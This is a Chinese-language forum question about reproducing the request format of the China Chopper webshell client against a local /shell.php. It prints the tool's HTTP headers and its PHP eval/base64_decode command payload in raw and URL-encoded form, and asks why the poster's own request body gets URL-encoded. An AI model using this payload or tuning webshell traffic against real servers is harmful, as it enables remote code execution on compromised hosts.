请教一个 post 请求体被 URL 编码的问题

今天无聊研究了一下菜刀的payload，结果发现自己发包却没有数据回显，POST 请求头相同（问题不在这里）：

// 菜刀的 headers

POST /shell.php HTTP/1.1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/
X-Forwarded-For: 238.212.118.226
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Host: 127.0.0.1
Content-Length: 380
Pragma: no-cache



// 自己发的包

POST /shell.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0
Accept-Encoding: identity
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Pragma: no-cache
Referer: http://127.0.0.1/
Content-Length: 414

请求体的区别是菜刀的 payload 没有被 URL encode：

@eval(stripcslashes(base64_decode(stripcslashes($_POST[z0]))));

而我浏览器 or 脚本发包均为：

%40eval%28stripcslashes%28base64_decode%28stripcslashes%28%24_POST%5Bz0%5D%29%29%29%29%3B

无数据回显的原因已经确定，就是这里数据被编码的问题，那么问题是，同样是Content-Type: application/x-www-form-urlencoded，为什么我控制不了它的数据包被编码，难道这里需要我直接发 TCP 报文模拟咩